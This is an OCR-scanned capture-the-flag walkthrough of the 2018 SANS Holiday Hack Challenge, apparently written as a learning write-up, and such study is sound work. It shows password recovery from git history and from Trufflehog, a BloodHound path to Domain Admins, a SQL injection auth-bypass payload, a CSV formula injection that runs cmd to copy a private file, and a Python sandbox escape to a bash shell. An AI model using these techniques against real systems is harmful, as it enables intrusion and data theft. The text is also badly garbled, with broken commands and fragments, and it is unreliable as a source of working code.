\ : The "syslog™ option is deprecated

ain=[WORKGROUP] 0S=[Windows 6.1] Server=[Samba 4.5.12-Debian]
smb: \>

It works! Now it is time to putthe report.txt on the samba share.

smb: \> put report.txt report.txt

putting file report.txt as \report.txt (250.5 kb/s) (average 258.5 kb/s)
smb: \»> Terminated

] f@899af482c88:~%

"FFPFFIFFFFFFIFRIDN

5 MOk bk bbbk kekekcke ke NN
..KM; Stall Mucking ,MN..
OMNXNMd . - OMIDCKME .

18NNNNNNNNNNNNNNNGo

#E sE lma

5253888888838

d00000000000000000d .
- BNNNNNNNNNNNNNNNNNG .

. ONNMNNMNNXK
d0000000000
‘coococcocccccecce:”

-Nuxddddddddddddddddddddddddni
H ol of of ol of of of ol of ol ol of o ol o of o o o o o -

ou have found the credentials I just had forgot,
And in doing so you've saved me trouble untold.
oing forward we'll leave behind policies old,
Building separate accounts for each elf in the lot.

-Wunorse Openslae

New [Achievement] Unlocked: Stall Mucking Report!
Click here to see this item in your badge.
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Wle B0 Balc B/ Bale

epository

en digging good ways to find credentials and mentioned Trufflehog. It's a
s git repositories for secrets, digging deep into commit history and
s effective at finding secrets accidentally committed. (9)

New [Hint] Unlocked: Trufflehog Tooll

New [Hint] Unlocked: Trufflehog Talk!
Click here to see this item in your badge.

and now we need to look for the zip file. There are many ways to do this but
ake, we shall use Windows Explorer. Download or Clone the project from
itLab repository. (Extract the contents locally if necessary)

@ santas_castle_automation-master.zip - WinRAR (evaluation copy)

File Commands Tools Faverites Options Help

FNW YWD

Add Extract To  Test View Delete Find Wizard Info

W 4

VirusScan Comment SEX

m |§ santas_castle_automation-master.zip\santas_castle_automation-master - ZIP archive, unpacked size 4,609,337 bytes -

MName Size Packed Type dd043fbebScchb7faddcecdBbeeaTe999b52al1653

1 v
ascii-art File folder
assets File folder
castle_command_center File folder
<33 File folder
mongodb File folder
schematics File folder
support_files File folder
sysctl File folder
tests File folder

@ Drone.png 120,295 117,803 PMNG File

@ install.gif 145,021 140,028 GIF File

D LICENSE 104 98 File

D README.md 417 2,043 MD File

£ >

=L Total 9 folders and 273,591 bytes in 4 files

he zip file using “*zjp”.

il
File Home Share View Search Extract 0

! Current folder a r"-DType @ {f‘ Recent searches = x
All subfolders g Size v D Advanced options ~ f

This = Date Open file Close
pCc o« Searchagainin~  modified = Q Other properties ~ H Save search location search

Location Refine Options
<« v 4 [l » Search Results in santas_castle_automation-master w x

7 Quick access @ ventilation_diagram.zip Date modified: 12/12/2018 7:54 AM
Ch\Users\steph'\Desktop\santas_castle_automation-...  Type WinRAR ZIP arc...  Size: 723 KB

9 = | Search Tools  Compressed Folder Tools  *.Zip - Search Results in santas_castle_automation-master — [m} *

f@ OneDrive

[ This PC
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C:\Python27\truffleHog-devitruffleHog>truffleHog.py --regex --entropy=True https://git.kringlecastle.com/Upatree/santas
castle_automation.git

g
1 2018-12-11 ©8:25:45E[8m

E[92mHash: 7f46bd5f88ded5acofe8efSebebb7c52cfa67442E]8m
B[92mFilepath: schematics/for_elf_eyes_only.mdE[8m
E[92mBranch: origin/master@[6m
E[292mCommit: removing fileBE[8m
0@ -0,8 +1,15 @@
+0ur Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore
, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
+
+Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing
he caught it before those dastardly wvillians did!
+
+
+Hopefully this is the last time we have to change our password again until next Christmas.

+Password = "Yippee-ki-yay’

+ L

+

+Change ID = 'B[93m9ed54617547cfca783e8f81F8dc5c927e3dle3E[Em"

I The latest entry using high entropy returned a change request to
strengthen the password. Good thing 7rufflehog managed to sniff it out.

New [Achievement] Unlocked: Data Repo Analysis!
Click here to see this item in your badge.

New [Narrative] Unlocked: |

New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: Double unlock! See Appendix A for full Narrative

Check out Appendix D for the contents
of the zip file
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Objective 5. Ad Privilege Discovery

Difficulty: e S5 3¢

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a
Kerberoastable user to the Domain Admins group. What's the user’s logon name (in
username@domain.tld format)? Remember to avoid RDP as a control path as it depends on
separate local privilege escalation flaws. For hints on achieving this objective, please visit
Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge.

......Download and load the SANS Slingshot Linux virtual machine and launch the image.

W Applications.

Trash

Nein! Nein! Nein!

File System

No one is coming to

help you.
Lo ]

Home

o find a reliable and the shortest path for a Kerberoastable user to the
group. Maybe Holly Evergreen can shed some light to this task. She is
est wing. Take a left from the main hall just past the Google booth.

Oh, that Bushy!

Sorry to vent, but that brother of mine did
something strange.

The trigger to restart the Candy Striper is
apparently an arcane HTTP call or 2.

New [Hint] Unlocked: HTTP/2.0 Basics!

Click here to see this item in your badge.
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oS0 D

Cranberry Pi Challenge — CURLing Master

I am Holly Evergreen, and now you won't believe:

Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.

Darned if I can CURL it on - my Linux skills apall.

ould you be our CURLing master - fixing up this mess? Easter Egg:
If you are, there's one concern you surely must address. )
Something's off about the conf that Bushy put in place. Check out Appendlx E for

an you overcome this snag and save us all some face? some funnybash histo[y

Complete this challenge by submitting the right HTTP
request to the server at http://localhost:8888/ to
get the candy striper started again. You may view
the contents of the nginx.conf file in
Jetc/nginx/, if helpful.

0 1f@c74909b421b5 : ~$

>
The challenge is to start the Candy Striper daemon using CURL. Doing a quick check, we
can see that curl returns encrypted traffic, possibly AftpZbut it is not using 7.LS/SSL.

e] f@2eeb2384béfd:~% curl hittp://localhost:8886/index.php
00 0O ¢00¢¢e¢eclf@2eeb2384bafd:~3

=1f@2eeb2304befd: ~%
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The niginx.conf confirms our suspicion.

server {
# love using the new stuff! -Bushy
listen 2080 http2;

# server_name localhost 127.8.8.1;
root fvar/wmw/html;

Let's check the “cur/ —help”to see how it handles Attp2traffic. (10)

clf@aaeds5da3ba7e:~$% curl --help | grep http2
--http2 Use HTTP 2 (H)

--http2-prior-knowledge Use HTTP 2 without HTTP/1.1 Upgrade (H)
el f@aaedSda3@aie:~$

From the previous command we know that http2 is being used in an unencrypted channel. It

is therefore possible to get a connection preface by using the flag “~hAttp2-prior-knowledge”
s ]l f@aaed5da38ale:~% curl --http2-prior-knowledge http://localhost:8888/
<html>
<head>
<title>Candy Striper Turner-On‘er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on”

Nice, we get an unencrypted response from the server and it is asking us to POST with the
parameter ‘status=on”to get the Candy Striper running. Add -X POST -d “status=on”

<title»Candy Striper Turner-On'er</title>

</head>

<body>

<p>To turn the machine on, simply POST to this URL with parameter “status=on™

okkd,
DMK,
0XXXXXXo
3 2000005
3 KOOO00K

oXO000COXK0
= LEOOO00ON8 .
® ok KOO0 cooddool,

OO0 OO0 -
SOOI KKKEK d;
BXOO0COO0COC00M KKKKBx .
SCOOCOOCOOOOOOC - 0OOCOOOOO0 :
BCOOCOOCCOCKK Be
SO0 SOOOCOOEX0 .
ROOOOOOOO KX KEOOO000k -
‘coeeec cccece - CEXOOO0O00OK c
3 XEOCCOOOOE  KOOOOOOCOMK .
--sxccll ccc: "

encrypted 2.82 He's such a silly puy.
at's the kind of stunt that makes my OWASP friends all cry.
ruth be told: most major sites are speaking 2.8;

LS connections are in place when they do so. New [AChlevement] Un|0Cked CURIJng Masterl
-Holly Evergreen Click here to see this item in your badgg

<p>Congratulations! You've won and have successfully completed this challenge.
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Bloodhound Slingshot

Asking about Domain Admins, Holly Evergreen revealed ‘Bloodhound’a sniffing tool that
can find paths to reaching privileged machines. (11)

New [Hint] Unlocked: Bloodhound Tooll

New [Hint] Unlocked: Bloodhound Demol
Click here to see this item in your badge.

BLOODHOUND

Firing up the Slingshot Linux Image we notice that Bloodhoundis already installed and
available on the Desktop. The requirement is to find the shortest path to a domain admin.
Fortunately there is a Pre-Built Analytics Queryto find the “Shortest Paths to Domain Admins
from Kerberoastable Users”.

" BloodHound

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts C: HasSession @ CanRDP

Shortest Paths to Unconstrained Delegation Systems p— L] E— gy E— ]
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users

HasSession

E:(e:uteD(‘DM |;| Has.essmn MemberOf ...

00089@AD WWWMMEMEB@M KRINGLECASTLE.COMDUBEJ00320@AD. KRIMGBBGAQ@.WMGL %gcom DOMAIN @AD. KRINGLEC
Has“essmn
COMPGE! _AD‘KmﬁgTﬂf&g?ﬁg@mKRlNGLECASTLE.COM
B
® CanROP ;l HasSession ; MemberOf :== +
Q

RLOEFFELHOLZ00451 @ATKRINGDEGHATLENIEMWBELSTAZETDMD. K RIN GUREAGTAE KRIMGLECASTLE.COM

The query returned a bunch of nodes with potential paths to the Domain Admins. It's a lot of
information but maybe we can still filter the query out some more.
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The requirements also mentioned to avoid going through RDP sessions as it depends on a
different privilege escalation flow. Our initial query indicated nodes labelled “CanRDP”. Let
us try to exclude RDP sessions using Bloodhound'’s standard filters.

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users

BloodHound

Edge Filtering @
Default Edges

mMember0f
mHasSession
mAdminTo

ACL Edges
mAllExtendedRights
mEAddMember

mForceChangePassword

@ GenericAll
EGenericWrite
m@Oowns

B WriteDacl
m@WriteOwner
mReadLAPSPassword

Containers

mContains

m@GpLink

Snecial
mCanRDP
mExecuteDCOM
mAllowedToDelegate

Amazing, who can expect that a regular user like:

» L
282

IT_00332@AD.KRINGLECASTLE.COM

PO
‘g

DOMAIN ADMINS@AD.KRINGLECASTLE.COM
&

JBETAKO0084@AD.KRINGLECASTLE.COM

o
4°
g
&
o

J

COMPO00185.AD.KRINGLECASTLE.COM

has the potential to laterally move to the Domain Admins group.

User Info

Name LDUBEJOO320@AD.KRINGLECASTLE.COM
Display Name Leanne Dubej
Password Last Changed Never
Last Logon Never
Enabled True
Compromised False
Sessions

Sibling Objects in the Same OU

Reachable High Value Targets

Effective Inbound GPOs

Good Digital Dog!

New [Achievement] Unlocked: AD Privilege Discoveryl

Click here to see this item in your badge.
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New [Narrative] Unlocked: |

New [Narrative] Unlocked: !
Click here to see this item in your badge.

Note: Double unlock! See Appendix A for full Narrative

A

‘NOW | HAVE A ZERO-DAY.
HO-HO-HO.*
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Objective 6. Badge Manipulation
Difficulty: Yk vk~ S5

Bypass the authentication mechanism associated with the room near Pepper Minstix. A
Somple ernployee badge is available. What is the access control number revealed by
the coor authentication panel? For hints on achieving this objective, please visit Pepper
Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

Badge Scan-O-Matic 4000

badge missing the Scan-O-Matic seems to be on lock down barring users
from entering the restricted area. The biometric panel does not work and the only thing it
accepts is a QR code. We will need Pepper Minstixto give us a technical idea about the
device. Head upstairs and go past the Speaker Unpreparedness Room. You will see Pepper
just around the corner by the narrow staircase.

Hi, I'm Pepper Minstix.

Have you heard of password spraying? It seems
we've been victim.

We fear that they were successful in accessing
one of our Elf Web Access accounts, but we don't
know which one.

New [Hint] Unlocked: Password Spraying!
Click here to see this item in your badge.
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https://www.holidayhackchallenge.com/2018/challenges/alabaster_badge.jpg
https://scanomatic.kringlecastle.com/index.html

NO@ VOO SOT ™y O

Cranberry Pi Challenge — Yule Log Analysis

I am Pepper Minstix, and I'm looking for your help.

Bad guys have us tangled up in pepperminty kelp!

“Password spraying™ is to blame for this our grinchly fate.
Should we blame our password policies which users hate?

ere you'll find a web log filled with failure and success.
One successful login there reguires your redress.

an you help us figure out which user was attacked?

ell us who fell victim, and please handle this with tact...

Submit the compromised webmail username to
runtoanswer to complete this challenge.
e]1f@38988b96bad7 : ~F

Pepper feels that they have been a target of Password Spraying and wants you to figure out
who is the victim of this attack. Password Spraying is a method of trying a list of predefined
user accounts coupled with known weak passwords. (i.e. ChangeMe, LetMeln, Spring20139,
Password123, etc.) It is like a brute force attack, but it also acts as a means of enumerating
valid credentials.

The terminal provides us with an “evix”file (Windows Event Logs) that contains successful
and failed login attempts. It also has a parser to open and dump the evtx file.
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Firstly, let us convert the evtx file to something more human readable using like an XML file
using the python script “evix_dump.py”.

o1 f@11d7dacbh7b38:~% evix dump.py ho-ho-no.evix > file.xml

o1 f@41d7dacb7b38:~$

Unfortunately, the XML file placed each tag in a new line, so using grep would only return
the line that matches our patterns and will not contain the entire event section.

Event xmlns="http://schemas.microsoft.com/win/2684/08/events/event”>¢System><Provider Name="Micro
soft-Windows-Security-Auditing™ Guid="{54849625-5478-4994-a5ba-3e3b8328c38d}"></Provider>

EventID Qualifiers=""3>4826</EventID>

Version»8</Version>

Level>@</Level>

Task>13573</Task>

Opcode>8</0Opcode>

Keywords >8x80260000000008008< /Keywords >

TimeCreated SystemTime="2818-89-18 12:19:06.246397"></TimeCreated>

EventRecordID>»>231714</EventRecordID>

Correlation ActivityID="" RelatedActivityID=""></Correlation>

Execution ProcessID="4" ThreadID="124"></Execution>

Channel>»Security</Channel>

We will then need to make each Eventappear as one line for grepto return the metadata.
The command “tr” is a way to translate or squeeze characters from a standard input. This
means we can convert each new lineto a space, so everything becomes one flat string. We
can then use ‘sed“to trim down the extra spaces and then also use it to separate all the
data between <Event>...</Event>to a new line.

e1f@41d7dach7b38:~% tr "\n" " ' < file.xml | sed “s/>[ \t]*</><fg" | sed “sf<\/Event><Event xmlns=
“http:\/\/schemas.microsoft.com\/win\/2884\/08\/events\/event™>/<\/Event>\n<Event>/g’ > newfile.tx

01f@41d7dacb7b38:~$

Now that we have the Events in their own line we can use grep to look for the entries we
seek to identify Password Spraying. Let us begin by enumerating the /P addresses with the

Event ID 4625 (failed login attempts) and the User /Ds.

o 1f@41d7dacb7b38:~% grep 4625 newfile.txt | awk "{print $32}" | cut -d ">»" -2 | cut -d "¢ -f1

8.158.218.218
.31.254.181
.31.254.181
=2l Al aaron.smith
-31.254.101  aphichek. kumar
-31.254.181  3dam.smith
.31.254.181 ahmed.ali
.31.254.181 ahmed.hassan
.31.254.181 ahmed.mohamed
-31.254_1e1 ajay.kumar
.31.254.181 alex.smith
.31.254.191 ali.khan

31.754_101 ali.raza
= = amanda.smith

elf@fafeded452f8:~$ grep 4625 newfile.txt | grep "172.31.254.101" | awk “{print $17}" | cut -d ">"
-2 | cut -d “<¢" -1
test.user

We can see a lot of failed attempts coming from 772.37.254.701. This could be the ' -
originating Source /P address of our Password Sprayer.
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Now that we have some lead, let us apply additional /ndicators to confirm if the Password
Sprayer obtained user accounts from the North Pole. In checking the Windows Event Logs,
the SubStatus="0xc000006a"indicates that a user exists but entered the wrong password.

ol f@fafode0ds2f8:~% grep 4625 newfile.txt | grep "172.31.254.101" | grep "exco0@edca” | awk “{prin
* | cut -d "> F2 | cut d <" -1

pepper.minstix
‘shinny.upatree
sparkle.redberry
‘sugerplum.mary
wunorse.openslae
o1 f@fAfede0d52f3:~$

Uh-oh! This confirms the Password Spraying attack. With our indicators, we can now check
the log file if there were Event ID 4624 (successful login attempts).

o 1f@f4f0de0ss2£8:~$ grep "4624" newfile.txt | grep "172.31.254.101" | cut -d ">~ —f44 |cut -d "<~
f1

inty.candycane
‘ inty.candycane
lelf@fafedesas2fs:~§

Two successful logins from Minty coming from 772.37.254.1017.

-1f§@h#hﬁéb4§2f8:n$ . fruntoanswer
Loading, please wait......

ose account was successfully accessed by the attacker's password spray? minty.candycane

Check out Appendix F
for an alternative way to
solve this challenge

New [Achievement] Unlocked: Yule Log Analysis!
Click here to see this item in your badge.
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Badge-Scan-O-Matic

Pepper noticed that the badge-scan-o-matic has been spewing out SQL database errors
after with special characters that can lead to an Auth Bypass vulnerability. (12)

New [Hint] Unlocked: SQL Injection!

New [Hint] Unlocked: Barcode Creation!
Click here to see this item in your badge.

Let's see if we can replicate the error with a SQL /njection (adding “OR 7”") on the QR code
using the barcode generator.

With that error message we realize that the QR code is used as the U/Dand we managed to
break the syntax with an unclosed quote. By using the OWASP Auth Bypass method and a
SQL validator, we can create our injection that will satisfy the conditions and not cause an
error. Note: Make sure to have an "AUTHORIZED” AND “ENABLED” user

SELECT
FIRST_NAME,
LAST_NAME :
e or 1~ or 1 AND ENABLED = 1 AND 'T%r 1 or Static QR Code

FROM
EMPLOYEES

WHERE
AUTHORTZED = 1
AND UID = ' or 1-- -
or 1
AND ENABLED = 1

AND '1"or 1 or"

oo Answer to Objective:

USER ACCESS GRANTED - COM |

®-0 =B

Badge $can-O-Matic 4000

New [Achievement] Unlocked: Badge Manipulation!
Click here to see this item in your badge.
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New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: See Appendix A for full Narrative

So, you've figured out my plan — it's not about freeing
those prisoners.

The toy soldiers and | are here to steal the contents of
Santa’s vault!

You think that after all my posturing, all my little
speeches, that I'm nothing but a common thief.

But, | tell you — | am an exceptional thief.

And since I've moved up to kidnapping all of you, you
should be more polite!

New [Achievement] Unlocked: Santa's Secret Room!
Click here to see this item in your badge.

Check out Appendix D to use the
ventilation diagram to get inside
Santa’s Secret Roomn.
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Objective 7. HR Incident Response
Difficulty: Y Y Y v

Santa uses an Elf Resources website to look for talented information security
professionals. © ain access to the website and fetch the

document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported
by the job applicant whose name begins with "K"? For hints on achieving this objective,

visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal

The careers page of KringleCon has a unique way of uploading an applicant’s work history.
Maybe Sparkle Redberry was part of the development team and can give us an insight on
how to view the candidate_evaluation.docx. Go back to the KringleCon speaker area and

head to the corner landing past “7Track 7”to find Sparkle Redberry.

Ugh, can you believe that EIf Resources is poking
around? Something about sensitive info in my git repo.

I mean, | may have uploaded something sensitive
earlier, but it's no big deal. | overwrote it/

New [Hint] Unlocked: Finding Passwords in Gitl

New [Hint] Unlocked: Git Cheat Sheetl
Click here to see this item in your badge.
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https://careers.kringlecastle.com/

.8.
. 110XK11c.
 OOOCKK
‘el coc

oalbox again, and I've got one more ask.
parkle Q. Redberry has fumbled a task.

it pull and merging, she did all the day;
ith all this gitting, some creds got away.

rging - I scolded, "Don't put creds in git!"
he said, "Don't worry - you're having a fit.
If I did drop them then surely I could,

pload some new code done up as one should.”™

hough I would like to believe this here elf,
I'm worried we've put some creds on a shelf.
Any who's curious might find our “oops,”
Please find it fast before some other snoops!

Find Sparkle’s password, then run the runtoanswer tool.
elf@dd15aa663387:~%

Tangle Coalboxis on a roll and this time he is investigating Sparkle Redberry for uploading
sensitive information in Git. Sparkle is almost certain the she has overwritten the files and
poses no threat. However, publicly exposed .git can be a target to gain access to your
sourcecode. (13)
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We know that Sparkle is using Git for a certain project called kcconfmgmt Time to look for
a .gitand then enumerate the commit logs of the project.
elffbbbeac99e35e:~% 1s -la

elf elf 4896 Dec 14 16:30 .

root root 4896 Dec 14 16:30 ..

elf elf 228 May 15 2817 .bash_logout
elf elf 1836 Dec 14 16:13 .bashrc

elf elf 675 May 15 2817 .profile
elf elf 4096 Nov 14 89:48 kcconfmgmt
elf elf 5944352 Dec 14 16:13 runtoanswer

35e:~% 1s -la kcconfmgmt/

elf 4896 Nov 14
elf 4896 Dec 14
elf 4896 Nov 14
elf 66 Nov 1
elf 1874 Nov 3
elf 318683 Nov 14
elf 537 Nov 14 package.json
elf 4896 Nov 2 public

elf 4896 Nov 2 15: routes

elf 4896 Nov 14 @9: Server

elf 4896 Nov 2 15: views
elffibbbeac99e35e:~%

.git
README . md
app.js

a9
16
a9
15:
28:
a9 package-lock.json
a9

15

T

Checking the logs...
elf@c8odfes4bics i~fkcconfmgmt$ git log

We find an interesting entry around the 8" of November.

commit 68a2ffea7528ee98B8a5fc68177FF4de633F2516b
hor: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:83 2818 -8588

Per @tcoalbox admonishment, removed username/password from config.js, default settings in conf
ig.js.def need to be updated before use

commit b2376f4a93cal889ba7d947c2d14beSasd138862
hor: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 13:25:32 20818 -8588

Add passport module

commit d929d465d5b9711d51d7bA55584at2b417 ;
Author: Sparkle Redberry <5r‘edherr‘yﬂkr'1ng1ecun.cum>
Date: Wed Nov 7 16:57:41 2018 -8560

Correct typos, runs now! Change port for MongoDB connection

From the logs we see that commit 60aZ2ffea7520ee980a5fc60177ff4d0633f2576b indicates
that Sparkle removed the username/password on the config.js file as per Tangle's request.
This would mean that the commit prior to that would have an unaltered version of the file.
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Do SOT ™D

Using commit b2376f4a93ca1889ba/d947c2d14be9a5d138802, we can investigate further
and look at the state of config.js during that time with the help of “git cat-file”.

e:nfkcconfmgmt$ git cat-file -p b2376f4a93cal889ba7d947c2d14be9asd138882
reg 36bd8353?5dBdQB!foB2feB3baB3aZ?1‘F?13Bae

parent d99d465d5b9711d51d7bA55584at2bA17688c267

author Sparkle Redberry <sredberry@kringlecon.com> 1541781532 -8588

ommitter Sparkle Redberry <sredberrygkringlecon.com> 1541781532 -8588

Add passport module
: e:fkcconfmgmt$ git cat-file -p 36bd8a6376d8doB2f8f082fed3baB3a271f7138ae
bloh- 1964969481b16e8fdbad56a2c9f69127dedfcBde README _md
blob 62dff8dé3aeddb3cfc3ellded315193fcfeaficd app-Jjs
blob 8551bdf{8ae2a58146c365be2bbd4d891d7b7b2a package-lock.json
blob See63be@99e43a3afddc89b482eefclabbbasfa7 package.json
98 tree c72223c273139488f6b4allceZ2ccl6532d98c811 public
8 tree bdaecabed697a59778cc75bf219det0cb8b57384 routes
B tree b97dabde®f32cf61779136299704b7c6242318af server
tree 7164fa6b47413c8457beed65792a89d41b316b24 vieuws
a:rfkcconfmgmt$ git cat-file -p bo97dabde8f32cf6f779136299794b7c6242318af
5043aed7{ fbf4b28a7680038116633Hfbldd16a7 config
57d98329de35489d68cdecd7ct616d14852b84+ models
6cf1d4719c7cdf3e3671331cf6lal77a8ef2eled routes
71641abb47413c8457beed65792a89d4fb318b24 vieuws
~fkcconfmgmt$ git cat-file -p 594aaed7{fbf4b28a76890308116633ffbldd16a7
e2608+66bob0abaZ2beaa?2c12dd3+@aélbdab config.js
e:~f kccontmgmt$ git cat-file -p 25be26981+66b0b0aBa2beaa22c12ddof@as1bd8b
[/ Database URL
odule.exports = {
‘url® : 'mongodb://sredberry:twinkletwinkletwinkle{127.8.8.1:27817/node-api”

e zraf kcconfmgmt$

Enter Sparkle Redberry's password: twinkletwinkletwinkle

is ain"t "I told you so” time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.

ongratulations!

New [Achievement] Unlocked: Dev Ops Faill
Click here to see this item in your badge.
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Elf InfoSec Career

Ashamed that her password was still publicly exposed, Sparkle tries to get back at Tangle
with another challenging scenario. The employee import system seems to be flawed. It
accepts CSV files that could be vulnerable to a known Formula Injection exploit. (14)

New [Hint] Unlocked: OWASP on CSV Injection!
Click here to see this item in your badge.

New [Hint] Unlocked: CSV Injection Talk!
Click here to see this item in your badge.

Let us submit a test application to get more details.

Thank you for taking the time to upload your
information to our elf resources shared
workshop station! Our elf resources will review
your CSV work history within the next few
minutes to see if you qualify to join our elite
team of InfoSec Elves. If you are accepted, you
will be added to our secret list of potential
new elf hires located in
C:\candidate_evaluation.docx

Hmm... looks like our application will go to a file called candidate_evaluation.docx. Maybe
we can download a copy straight from the web browser.

ps://careers.kringlecastle.com

LOLERBOR!

P[]Hicly ;1.,'((\”&1“( ["1[( ﬂu\'ul [Vﬂ’t"i

C:\careerpertal\reseurces\public\ net, found......

Try:
https://careers kringJecastle.com/public/file name you are Jooking for'
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A custom 404 Error, this is promising. It tells us that publicly accessible files are served on
C:\careerportalresources\public| and can be downloaded by a publicly available URL
https.//careers.kringlecastle.comy/public. Our target document is in the main directory C:|,
we can therefore craft a CSV formula injection copying the docx file on to the public folder.

"o,

=cmd|//C copy "C:\candidate_evaluation.docx” “C:\careerportal\resources \public\candid.docx"'A T

Microsoft Excel *

Remote data not accessible.

To access this data Excel needs to start another application. Some legitimate applications on your computer could be used maliciously to spread viruses or damage your computer, Only click Yes if you trust the source of
this workbook and you want to let the workbook start the application.

Start application "CMD.EXE'?

tes

Testing the formula injection in Microsoft Exce/ shows that the formula will invoke a
“CMD.EXE”and will copy the file to the public directory with the name candlid.docx.

careers.kringlecastle.com

@B candid.docx \ Show all | X

Great it worked! Now let’s see which terrorist group the applicant that starts with a K”
belongs to.
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Krampus is affiliated with the terrorist group.

Candidate Name: Krampus

ns for positional placement and access

s a guide to evaluai

ng to the applicant’s level of qualification

cor
Rating Scale: 5. Outstanding 2. Below Average—Does not meet
4. Excellent-exceeds requirements requirements
3. Competent—acceptable 1. Unable to determine or not applicable to
proficiency this candidate
| Rating
I 4 | 3 | 2 1
Relevant Background/Special Skill Set: Explore the 2
candidate’s knowledge and past working experiences in InfoSec
1

Organizational Fit:
Review the candidates’ potential to fit in Santa’s Castle.

Overall Evaluation:

Please add appropriate comments below

Click here to see this item in your badge.

New [Narrative] Unlocked: |
New [Narrative] Unlocked: |

New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: Triple unlock! See Appendix A for full Narrative
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Objective 8. Network Traffic Forensics

Difficulty: s 5/

Santa has introduced a web-based packet capture and analysis tool to support the elves

and their information security work. Using the system, access and decrypt HTTP/2 network
activity. What is the name of the song described in the document sent from Holly Evergreen
to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and

to see if we can decrypt their HTTP/21traffic. This looks like a might feat if we do not have
keys so let us visit SugarPlum Mary for some tips. She is nearby Sparkle Redberry at the

corner landing past the KringleCon speaker area.

I'm glad you're here; my terminal is trapped inside a
python! Or maybe my python is trapped inside a
terminal?

Can you please help me by escaping from the Python
interpreter?

New [Hint] Unlocked: Python Escapel
Click here to see this item in your badge.
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https://packalyzer.kringlecastle.com/

oS0 D

Cranberry Pi Challenge — Dev Ops Falil

-SugarPlum Mary

To complete this challenge, escape Python
and run ./i_escaped
>>>

SugarPlum is in kind of a pickle. She could not escape from this Python terminal. Trying
exit(), Ctrl-Z or Ctrl-D crashes too. So, she wonders what else can we do. Escaping Python
Shells is an art of manipulating string commands to execute other resources. (15)

Let us look closer and find out which command is not being blocked.

import

of the command import is prohibited for this question.
exec

of the command exec is prohibited for this question.
compile

of the command compile is prohibited for this question.
eval

<built-in function eval>

3>

In this challenge, the command evalis not blocked and therefore can be used as a pivot to
execute another Python or system command.
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Now create a variable k¢ (for KringleCon) that will get and run the eva/method. The eva/()
can parse and run python expressions which is passed as an argument or as a parameter.
In this case we can supply __import__(“os”) that will return the top-level OS module. The 0OS
module in Python provides a way of using operating system functionality. Writing it in code
would mean: k¢ = eval(_import__("os”)) However, we also know that the reserved word
import is being prohibited thus we can go around this by splitting it in two strings. So, our
eval method would look something like this.

»»>» ke = eval("_imp" + "ort__("os")")

22>

Great! No generated errors. Now let us use a system command to get a bash shell.

»»> kc.system("bash™)
e1H@3292b67th5de : %

Excellent we just escaped the Python prompt with a new bash shell and can now complete
the challenge by running /_escaped.

e1f@3292b67fbSde:~% ./i_escaped
Loading, please wait

-SugarPlum Mary

You escaped! Congratulations!

2b67fb5de:~%

New [Achievement] Unlocked: Python Escape from LAI
Click here to see this item in your badge.
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Packalyze This

Rumor has it that Packalyzer was rushed with some development code in the web root and
some code using environment variables were used to store SSL keys and open directories.
SugarPlum also suggests manipulating the URL as the site gave back customized errors.

Let us register and see if we can access and find the source code of this web application.

# Date & Time Frame Len

¥ (Y packalyzer.kringlecastle.com:30

ict';
v pub i eupload’).fileupload({
fapifupload’,

Ceg
fonts/roboto 3 i (= derE) o

) result.request) {

mg analyze packets(data.result.data.clean(""));

1 else {

e g BLSE

ik Materialize.toast('<text style="color: #f44 >'+data.result.data+"</
custom.js }
. ) . setTimeout(f n()4{
jguenyfileupload.js $( #progress-level).css(

‘width®,

s

jqueny.iframe-transport.js

ulwidgetjs )

. $("#upload_traffic_button').removeClass
loader.js $( ' #sniff_traffic').prop( disabled’, fa
1,2000);

jguery.

¥S5.)5

Inspecting the page does not yield any juicy developer mishap but viewing the source page
of the Packalyzer page presents a very interesting comment on the File upload function. It
seems that files are being validated server-sidein app.js. That is why we were unable to see
any reference to it. Let us assume this is the code SugarP/um said that is on the web root.

packalyzer.kringlecastle.com

This is the code we

#!/usr/bin/node

//pcapalyzer - The web based packet analyzer afe/ookingfo,:/
const cluster = require(’cluster'); /
const os = require('os"); Moyea/o”g'
const path = require('path');

const fs = require('fs");

const http2 = require( "http2');
const koa = require('koa’);

const Router = require('koa-router');
const mime = require{'mime-types');
const mongoose = require( 'mongoose’);
const kosBody = require(’koa-body');
const cookie = require('koa-cookie'};
const execSync = require('child proce
const execAsync = require('child_proc

").execsync;

ss
oo
ess').exec;
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This challenge is asking us to decrypt network traffic at KringleCon and the Packalyzertool
is their full packet capture device. Now that we are a registered user, let us try to sniff and
analyze some traffic.

ﬁ 2

Top Talkers

@ 10.126.0.3

@ 10.126.0.104
10.126.0.105
10.126.0.106

Click on Captures to download the pcap so, you can load it in a familiar tool like WireShark.
After a quick assessment of the packet capture we see that the traffic looks like normal
SSL/TLS communication. However, SugarP/lum mentioned that the environment is using
HTTP/2so the pcap might not be the end of the tale. From our previous challenge we know
that major clients have implemented HTTP/2 with mandatory encryption.

New [Hint] Unlocked: HTTP/2.0 Intro and Decryption!
Click here to see this item in your badge.

To see the real traffic, we need to understand how the system encrypts the traffic and get a
